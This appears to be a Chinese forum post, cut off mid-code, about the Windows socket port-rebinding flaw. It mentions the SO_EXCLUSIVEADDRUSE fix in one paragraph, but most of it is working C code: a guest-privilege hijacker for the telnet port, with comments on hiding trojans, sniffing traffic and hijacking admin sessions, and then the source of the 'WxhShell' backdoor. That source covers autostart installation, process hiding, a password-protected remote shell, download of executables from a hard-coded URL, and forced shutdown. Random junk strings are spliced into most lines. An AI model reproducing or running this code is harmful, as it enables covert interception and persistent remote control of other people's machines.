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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d&ff1(j(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !F Zg' 9  
A&jR-%JG  
  saddr.sin_family = AF_INET;  e?o/H  
p&2d&;Qo0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (_N(K`4#W  
U9\w)D|+eE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D deKZ)8  
]Ee$ulJ02  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eT2Tg5Etc  
#op0|:/N  
  这意味着什么?意味着可以进行如下的攻击: ?5% o-hB|  
n-GoG(s..b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Aeq^s  
(b1e!gJpy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n0V^/j}  
Uu Zjf9}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S*76V"")  
+'VYqu/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HqyAo]{GN  
JZ> (h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \nTV;@F  
YKOj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SUvrOl   
yKz%-6cpSl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YPKB4p#  
<1QXZfQ"  
  #include ]{t!J^Xn  
  #include HRCnjem/v\  
  #include * ]D{[hV  
  #include    YB:}L b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I%<pS ,p  
  int main()  niyxZ<Z  
  { 0<f.r~  
  WORD wVersionRequested; 00r7trZW^  
  DWORD ret; =<K6gC27  
  WSADATA wsaData; Bf[`o<c  
  BOOL val; &2ty++gC  
  SOCKADDR_IN saddr; ;R@D  
  SOCKADDR_IN scaddr; sfy}J1xIL  
  int err; {#pw rWG  
  SOCKET s; 2^rJ|Ni  
  SOCKET sc; m|OB_[9  
  int caddsize; lO0}  
  HANDLE mt; Jy('tfAHp  
  DWORD tid;   e:rbyzf#  
  wVersionRequested = MAKEWORD( 2, 2 ); ;Z`R!  
  err = WSAStartup( wVersionRequested, &wsaData ); L7.SH#m  
  if ( err != 0 ) { `9T5Dem|#  
  printf("error!WSAStartup failed!\n"); ['K}p24,  
  return -1; N9rAosO*  
  } bu08`P9  
  saddr.sin_family = AF_INET; 80o'=E}"  
   VZ 7(6?W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )$d~HA@B  
);n/G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *!dA/sid  
  saddr.sin_port = htons(23); zXbA$c  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tv 5J  
  { $ 1m}lXk  
  printf("error!socket failed!\n"); T)ISDK4>S"  
  return -1; M[Nv>  
  } 4_$.gO  
  val = TRUE; K7nyQGS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 > +00[T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _]eyt_  
  { *{\))Zmhd  
  printf("error!setsockopt failed!\n"); -_O j iQ R  
  return -1; jCIY(/  
  } -YrMVoZl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h[<l2fy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B$ho g_=s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +!$`0v   
\F""G,AWq{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @S>;t)\J  
  { 4x#tUzb;  
  ret=GetLastError(); E\p"%  
  printf("error!bind failed!\n"); rI6+St  
  return -1; Hk(=_[S  
  } :)&vf<JL  
  listen(s,2); hr hj4  
  while(1) ~03MH'  
  { M* {5> !\  
  caddsize = sizeof(scaddr); k_Y7<z0G  
  //接受连接请求 Q( e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :fq4oHA#  
  if(sc!=INVALID_SOCKET) k1s5cg=n(  
  { 1-&L-c.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [9#zE URS  
  if(mt==NULL) A5%$<  
  { vbZ!NO!H  
  printf("Thread Creat Failed!\n"); $J&c1  
  break; Wcm8,?*  
  } i$<")q  
  } 1MT,A_L  
  CloseHandle(mt); ;K%/s IIke  
  } yf4L0.  
  closesocket(s); bX` Gv+  
  WSACleanup(); &|db}\jT  
  return 0; KC9e{  
  }   ?)(-_N&T  
  DWORD WINAPI ClientThread(LPVOID lpParam) #N'9 w .  
  { DH.UJ +  
  SOCKET ss = (SOCKET)lpParam; 3d olrW  
  SOCKET sc; Re %dNxJ=  
  unsigned char buf[4096]; Jyr V2Tk^  
  SOCKADDR_IN saddr; +lhCF*@*N  
  long num; %H2ios[UO  
  DWORD val; o P;6i  
  DWORD ret; ,VSO;:Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c"pOi&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Mw)6,O`  
  saddr.sin_family = AF_INET; 9cU9'r# h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x{tlC}t  
  saddr.sin_port = htons(23); dM P'Vnfj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GG +T-  
  { !6@'H4cb=  
  printf("error!socket failed!\n"); -5ZmIlL.S  
  return -1; BMuEfa^  
  } u]9\_{c]Q  
  val = 100; sowwXrECg@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qMA-#  
  { AS re@pW  
  ret = GetLastError(); 5,g +OY=\  
  return -1; v\@RwtP  
  } PLMC<4$s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ki7t?4YE  
  { ,sL%Ykr  
  ret = GetLastError(); ws^Ne30R  
  return -1; ' VKD$q  
  } :."oWqb)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n+te5_F  
  { jlFlhj:/I  
  printf("error!socket connect failed!\n"); di0@E<@1:  
  closesocket(sc); L$.3,./  
  closesocket(ss); .R'M'a#*!A  
  return -1; kc't  
  } _vDmiIn6K  
  while(1) 1EEcNtpub]  
  { a#;;0R $  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #jW=K&;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TjYHoL5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &} `a"tYr  
  num = recv(ss,buf,4096,0); =!xX{o?64  
  if(num>0) q CYu@Ho  
  send(sc,buf,num,0); "QiR  
  else if(num==0) PPIO<K 3`  
  break; $?bD55  
  num = recv(sc,buf,4096,0); kLZVTVSJt  
  if(num>0) ]+W){W=ai  
  send(ss,buf,num,0); O=(F46 M  
  else if(num==0) ,w H~.LHi  
  break; F P|cA^$<  
  } *4}NLUVX  
  closesocket(ss); VJ&<6  
  closesocket(sc);  k%i.B  
  return 0 ; a%`%("g!  
  } }$'_%,  
!*NDsC9  
/UK]lP^w]!  
========================================================== C&MqH.K  
e5P9P%1w  
下边附上一个代码,,WXhSHELL ipbhjK$  
z[v4(pO 6  
========================================================== /bB4ec8!  
KvPCb%!ZP  
#include "stdafx.h" 9Ffam#  
zIjfx K  
#include <stdio.h> tm^joK[{|J  
#include <string.h> 'ET];iZ2  
#include <windows.h> o,dp{+({  
#include <winsock2.h> h-?yed*?  
#include <winsvc.h> 'yq?xlIj  
#include <urlmon.h> f!w/zC .  
C8> i{XOO,  
#pragma comment (lib, "Ws2_32.lib") xd ^Pkf  
#pragma comment (lib, "urlmon.lib") W/>a 1  
K4<"XF1A:  
#define MAX_USER   100 // 最大客户端连接数 9n{Y6I x:  
#define BUF_SOCK   200 // sock buffer dX@ic,?  
#define KEY_BUFF   255 // 输入 buffer ;M4[Liw~O  
Td'(RV  
#define REBOOT     0   // 重启 }RI_k&;  
#define SHUTDOWN   1   // 关机 ,.cR@5qI  
_G/ R;N71  
#define DEF_PORT   5000 // 监听端口 UNa "\  
[Tp?u8$p`  
#define REG_LEN     16   // 注册表键长度 Zja3HGL  
#define SVC_LEN     80   // NT服务名长度 Af]zv~uM  
w|s2f`!  
// 从dll定义API n-cI~Ax+4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T :X*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O& Sk}^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aq}hlA(w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d 4;$=P  
PR:B6 F8  
// wxhshell配置信息 A+* lV*@0  
struct WSCFG { L,y q=%h|  
  int ws_port;         // 监听端口 8xgBNQdPT  
  char ws_passstr[REG_LEN]; // 口令 $Z#~wsw  
  int ws_autoins;       // 安装标记, 1=yes 0=no *u"%hXR  
  char ws_regname[REG_LEN]; // 注册表键名 8:V,>PH  
  char ws_svcname[REG_LEN]; // 服务名 nsU7cLf"^V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m[v0mXE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F{E@snc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W6NhJ#M7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !6=;dX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &|GH@^)@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }_zN%Tf~  
)- &@ 8`  
}; t,|Apl]  
O@a OKk  
// default Wxhshell configuration &'W7-Z\j-  
struct WSCFG wscfg={DEF_PORT, ?j.a>{  
    "xuhuanlingzhe", Q!@M/@-Ky  
    1, |ffHOef  
    "Wxhshell", K?' m#}]  
    "Wxhshell", )2?]c  
            "WxhShell Service", zMbFh_dcq  
    "Wrsky Windows CmdShell Service", w!6{{m  
    "Please Input Your Password: ", E0+L?(;  
  1, sT2`y$ '  
  "http://www.wrsky.com/wxhshell.exe", B+Qf? 1f  
  "Wxhshell.exe" Et N,  
    }; %QEBY>|lI  
zl :by?  
// 消息定义模块 uD=Kar  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yC\UT ~j/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z.-yL,Rc`-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Eb4NPWo  
char *msg_ws_ext="\n\rExit."; ";rXCH.  
char *msg_ws_end="\n\rQuit."; ) Su>8f[?e  
char *msg_ws_boot="\n\rReboot..."; `D[O\ VE  
char *msg_ws_poff="\n\rShutdown..."; ~F'6k&A^q  
char *msg_ws_down="\n\rSave to "; m_/U  t  
,FzkGB#  
char *msg_ws_err="\n\rErr!"; r4SwvxhG  
char *msg_ws_ok="\n\rOK!"; N)g_LL>^  
$J4\jIipL  
char ExeFile[MAX_PATH]; w gS'/  
int nUser = 0; z Fm`e:td  
HANDLE handles[MAX_USER]; uE')<fVX(  
int OsIsNt; k37?NoT  
HAK,z0/  
SERVICE_STATUS       serviceStatus; ^t4^gcoZ4Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ';FJs&=I  
>o1dc*  
// 函数声明 @`L ;_S+  
int Install(void); :VlA2Ih&q  
int Uninstall(void); q"2APvsvp  
int DownloadFile(char *sURL, SOCKET wsh); 1cOR?=G~  
int Boot(int flag); jSE)&K4nI  
void HideProc(void); $lT8M-yK\  
int GetOsVer(void); 2.%)OC!q&5  
int Wxhshell(SOCKET wsl); gxVr1DIkN  
void TalkWithClient(void *cs); $ uTrM8  
int CmdShell(SOCKET sock); q1:dcxR[  
int StartFromService(void); zb9G&'7  
int StartWxhshell(LPSTR lpCmdLine); lg-_[!4Z  
_S ng55s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >va_,Y}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =fRS UtX  
aJ(/r.1G  
// 数据结构和表定义 9lYfII}4(  
SERVICE_TABLE_ENTRY DispatchTable[] = 0"OEOYs}  
{ Qpmq@iL  
{wscfg.ws_svcname, NTServiceMain}, 0o>C, `  
{NULL, NULL} .S 54:vs  
}; ]?VVwft  
~#)hqU'  
// 自我安装 rah"\f2  
int Install(void) .?6p~  
{ #[=kQ&  
  char svExeFile[MAX_PATH]; ,.9lz  
  HKEY key; VNWB$mM.2  
  strcpy(svExeFile,ExeFile); JGHj(0j  
C7{VByxJ  
// 如果是win9x系统,修改注册表设为自启动 SDC|>e9i  
if(!OsIsNt) { Mn ,hmIz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B3ItZojAuw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V>QyiB  
  RegCloseKey(key); Vt}QP Nt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @h|qL-:!vG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L/:l>Ko>7  
  RegCloseKey(key); }X{rE|@  
  return 0; %J-0%-/_S:  
    } 5wVJ.B~s  
  } sF!#*Y  
} pL{oVk#,  
else { i RrUIWx  
vGv<WEE  
// 如果是NT以上系统,安装为系统服务 ]4H)GWHKg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c@[Trk m  
if (schSCManager!=0) ?. ` ga*   
{ G7&TMg7i  
  SC_HANDLE schService = CreateService DK?aFSf\  
  ( M5WB.L[@ q  
  schSCManager, 2@tnOs(*  
  wscfg.ws_svcname, mh}D[K=~%  
  wscfg.ws_svcdisp, LH4#p%Pb%  
  SERVICE_ALL_ACCESS, 0C :8X   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =|i_T%a  
  SERVICE_AUTO_START, %htI!b+"@  
  SERVICE_ERROR_NORMAL, ly` A,dh  
  svExeFile, {V>F69IU  
  NULL, |-V:#1wR.]  
  NULL, &233QRYM  
  NULL, (y]Z*p:EW  
  NULL, L@H^?1*L?  
  NULL U_IGL  
  ); o.!o4&W H  
  if (schService!=0) ;iiCay37F  
  { h_4*?w  
  CloseServiceHandle(schService); p48enH8CO  
  CloseServiceHandle(schSCManager);  _ VuWo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0V3dc+t)O  
  strcat(svExeFile,wscfg.ws_svcname); WCsf_1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6Pl|FI JF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VVSt,/SO  
  RegCloseKey(key); JY CMW! ~  
  return 0; ];w}?LFb  
    } >Gpq{Ph[  
  } 4q]6[/  
  CloseServiceHandle(schSCManager); iz-z?)%  
} 5c::U=  
} *90dkJZ.  
hdw.S`~}%  
return 1; #l}Fk)dj  
} l jK?2z>  
W2X`%Tx0  
// 自我卸载 "Y<;R+z  
int Uninstall(void) qj~=qV0p  
{ Q8`V0E\~  
  HKEY key; 7vZO;FGtG  
F6sQeU  
if(!OsIsNt) { FQO=}0Hl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sa<(F[p`  
  RegDeleteValue(key,wscfg.ws_regname); =.8n K y  
  RegCloseKey(key); gra6&&^"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;j1 SSHZ  
  RegDeleteValue(key,wscfg.ws_regname); `D%i`"~Lf&  
  RegCloseKey(key); I^A>YJW  
  return 0; ZXs,TaU  
  } 3]vVuQK.  
} .;7V]B1o  
} GU> j8.  
else { gamB]FPZ  
m?Y-1!E0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~RVlc;W  
if (schSCManager!=0) < +*  
{ zp8x/,gwF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P+f}r^4}  
  if (schService!=0) Kfb(wW  
  { [j/|)cj  
  if(DeleteService(schService)!=0) { mQ`atFz:Z  
  CloseServiceHandle(schService); wY ItG"+6  
  CloseServiceHandle(schSCManager); T9$~tv,5F  
  return 0; t,De/L  
  } vNjc  
  CloseServiceHandle(schService); [z!m  
  } r2#G|/=@  
  CloseServiceHandle(schSCManager); lUjZ=3"'  
} L~PiDQr?r  
} {g nl6+j  
QP\:wi  
return 1; #$W5)6ch  
} 1"CWEL`i  
?rOj?J9  
// 从指定url下载文件 `WH$rx!  
int DownloadFile(char *sURL, SOCKET wsh) n`Z}tQ%)o  
{ (!fx5&F  
  HRESULT hr; >g !Z|ju  
char seps[]= "/"; b/[X8w'VP  
char *token; 'sZGLgT;m  
char *file; -KC@M  
char myURL[MAX_PATH]; @}6<,;|DQ  
char myFILE[MAX_PATH]; H,TApF89A  
"=DQ {(L  
strcpy(myURL,sURL); WwsNAJ  
  token=strtok(myURL,seps); 1f+A_k/@  
  while(token!=NULL) ,X3D< wl  
  { 3A ^AEO  
    file=token; kkZ}&OXS;  
  token=strtok(NULL,seps); L@O>;zp;  
  } +PE-j| D  
;!f~  
GetCurrentDirectory(MAX_PATH,myFILE); C _he=SV  
strcat(myFILE, "\\"); VB905%  
strcat(myFILE, file); S}rEQGGR{  
  send(wsh,myFILE,strlen(myFILE),0); ahg P"Qz  
send(wsh,"...",3,0); 1y:fH4V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fq~Zr;A  
  if(hr==S_OK) M 0}r)@  
return 0; ]d(Z%  
else Vq0X:<9  
return 1; F_:W u,dUZ  
cr-5t4<jK  
} KJJ:fG8'  
{wM<i  
// 系统电源模块 XE_Lz2H`  
int Boot(int flag) lfb+)s  
{ #akJhy@m$  
  HANDLE hToken; Xbmsq,*]  
  TOKEN_PRIVILEGES tkp; M{orw;1Isy  
uq[5 om"  
  if(OsIsNt) { ;5;>f)diS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Eg1TF oIWl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ??e|ec2%  
    tkp.PrivilegeCount = 1; (&79}IEd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .*6NqX$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'eBD/w5U  
if(flag==REBOOT) { ~roNe|P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )0 E_Y@  
  return 0; '%/=\Q`  
} y(<{e~  
else { AVLY|79#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tt-ci,X+  
  return 0; MzB.Vvsy%9  
} <LH6my  
  } \YJQN3^46>  
  else { vbJdhaf  
if(flag==REBOOT) { tH; 6 Mp;f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %`pi*/(  
  return 0; ^! h3#4  
} o% Q7 el$f  
else { +pSo(e(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !otseI!!/  
  return 0; >a*dI_XE  
} M*n94L=Sg&  
} ;\}d QsX  
}>AA[ba"'  
return 1; |8{ k,!P'K  
} H ABUf^~-  
au19Q*r9  
// win9x进程隐藏模块 G[ns^  
void HideProc(void) c/.s`hz  
{ =#4>c8MM  
%x,HQNRDU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1O,5bi>t7  
  if ( hKernel != NULL ) 4E=QO!pVv  
  { v B~VJKD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dY. X/f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eN5F@isy  
    FreeLibrary(hKernel); ?A\+s,9  
  } bbS,pid1  
NApy(e 5%  
return; IHCxM|/k(M  
} LtwfL^#  
88:YU4:l`N  
// 获取操作系统版本 VDv.N@ ) 7  
int GetOsVer(void) zk3\v "  
{ 28M^ F~0  
  OSVERSIONINFO winfo; 45wqX h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _~tF2`,Y_p  
  GetVersionEx(&winfo); dpchZ{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fup?Mg-  
  return 1; \kKd:C{  
  else wbr$w>n  
  return 0; V%;dTCq  
} R f)|p;  
XySkm2y  
// 客户端句柄模块 f'"PQr^9  
int Wxhshell(SOCKET wsl) /T  {R\  
{ ;2`t0#J$]  
  SOCKET wsh; W\0u[IV.x  
  struct sockaddr_in client; ' xaPahx;  
  DWORD myID; I AUc.VH  
wAu]U6!  
  while(nUser<MAX_USER) }+S~Ah?(  
{ q},,[t  
  int nSize=sizeof(client); T1RY1hb|g>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9MJ:]F5+  
  if(wsh==INVALID_SOCKET) return 1; .K-d  
9 4bDJy1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1NZpd'$c  
if(handles[nUser]==0) L~h:>I+pG  
  closesocket(wsh); 7s%1?$B  
else vMX\q  
  nUser++; ~ m vv :u  
  } 3rZPVR$))  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GNwFB)?j  
/EQ^-4yr  
  return 0; !"/"Mqs3$  
} 8z|]{XW{  
OcpvY~"Pr  
// 关闭 socket 4_2oDcdf  
void CloseIt(SOCKET wsh) {C?$osrr  
{ jC:D>  
closesocket(wsh); N0$ uB"  
nUser--; z*b|N45O  
ExitThread(0); wZCboQ,  
} Fsq)co  
9X1vL  
// 客户端请求句柄 GHLFn~z@XJ  
void TalkWithClient(void *cs) BuAzO>=  
{ bM_fuy55Op  
o[JZ>nm  
  SOCKET wsh=(SOCKET)cs; Ed;!A(64r  
  char pwd[SVC_LEN]; <o|k'Y(-  
  char cmd[KEY_BUFF]; )BaGY  
char chr[1]; J?t(TW6E  
int i,j; pcOKC0b.  
fpZHE=}r  
  while (nUser < MAX_USER) { afaQb  
{@x-T  
if(wscfg.ws_passstr) { 2RqV\Jik  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :KRNLhWb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .!2 u#A  
  //ZeroMemory(pwd,KEY_BUFF); 41.xi9V2  
      i=0; Q>\DM'{:4  
  while(i<SVC_LEN) { 4 u0?[v[Hu  
r-WX("Vvh  
  // 设置超时 U"UsQYa_  
  fd_set FdRead; @kT@IQkri  
  struct timeval TimeOut; i-WP#\s  
  FD_ZERO(&FdRead); &>Y.$eW_  
  FD_SET(wsh,&FdRead); |yj0Rv  
  TimeOut.tv_sec=8; GqP02P'2  
  TimeOut.tv_usec=0;  fOsvOC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |,TBP@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /-^{$$eu  
XMI5j7C L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F$|d#ny  
  pwd=chr[0]; 8OS^3JS3"  
  if(chr[0]==0xd || chr[0]==0xa) { _\@zq*E  
  pwd=0; ,N_V(Cx5pt  
  break; 5[*8C Y  
  } *[jq&  
  i++; nD 4C $  
    } |XQ\c.A  
By*YBZ  
  // 如果是非法用户,关闭 socket e!w{ap8u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tk 5 p@l  
} .k up[d(  
sQr M"i0Y>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,k@i Nid  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "ZNy*.G|[  
c&<Ei1  
while(1) { D^t: R?+  
LZ(K{+U/  
  ZeroMemory(cmd,KEY_BUFF); 'c/8|9jX  
M3d%$q)<rW  
      // 自动支持客户端 telnet标准   x FvK jO)  
  j=0; dgByl-8Q  
  while(j<KEY_BUFF) { 8{&.[S C7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r M}o)  
  cmd[j]=chr[0]; |w>b0aY  
  if(chr[0]==0xa || chr[0]==0xd) { ^H&`e"|R9  
  cmd[j]=0; #?>p l.  
  break; cnY}^_  
  } CqX*.j{  
  j++; * +6Z^ 7  
    } x>J(3I5_b  
Cnu])R  
  // 下载文件  ,HNk<W  
  if(strstr(cmd,"http://")) { "r@G V5ED  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ak}`zIo  
  if(DownloadFile(cmd,wsh)) -\Z`+kY?p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qo(<>d  
  else -Vmp6XY3q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,x3< a}J  
  } VYH $em6  
  else { :yw(Co]f  
-0k{O@l"  
    switch(cmd[0]) { 4zOFu/l6R  
  UQb|J9HY4  
  // 帮助 :8v? 6Q  
  case '?': { ;c@B+RquR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I34 1s0  
    break; 1:|o7`  
  } Iy4 RE P|  
  // 安装 OzTR#`oey  
  case 'i': { KfC{/J\   
    if(Install()) }4,[oD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G]Im.x3O-  
    else vZqW,GDfXo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;jKLB^4nX  
    break; ]% G#x  
    } [KW)z#`*  
  // 卸载 e?GzvM'2  
  case 'r': { ^>fr+3a"P  
    if(Uninstall()) 3@0!]z^W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *^Z -4  
    else GJF ,w{J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w H`GzB"  
    break; Ty;^3  
    } kH[thR k}  
  // 显示 wxhshell 所在路径 $P #KL//  
  case 'p': { :o:/RRp[  
    char svExeFile[MAX_PATH]; O /&Qzt  
    strcpy(svExeFile,"\n\r"); m_;XhO  
      strcat(svExeFile,ExeFile); 16~5;u  
        send(wsh,svExeFile,strlen(svExeFile),0); xaq/L:I<  
    break; zvv/|z2(r  
    } x_(K%0+Ca  
  // 重启 k~QmDq  
  case 'b': { A' n7u'6=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W$z^U) |t  
    if(Boot(REBOOT)) NR^3 1&}It  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*4G@)  
    else { zRR^v&.9K  
    closesocket(wsh); iqWkhJphv  
    ExitThread(0); _Qb ].~  
    } lI9|"^n7F  
    break; ZV-Yq !|t  
    } ,L\KS^>  
  // 关机 Izfq`zS+\s  
  case 'd': { O? 7hT!{  
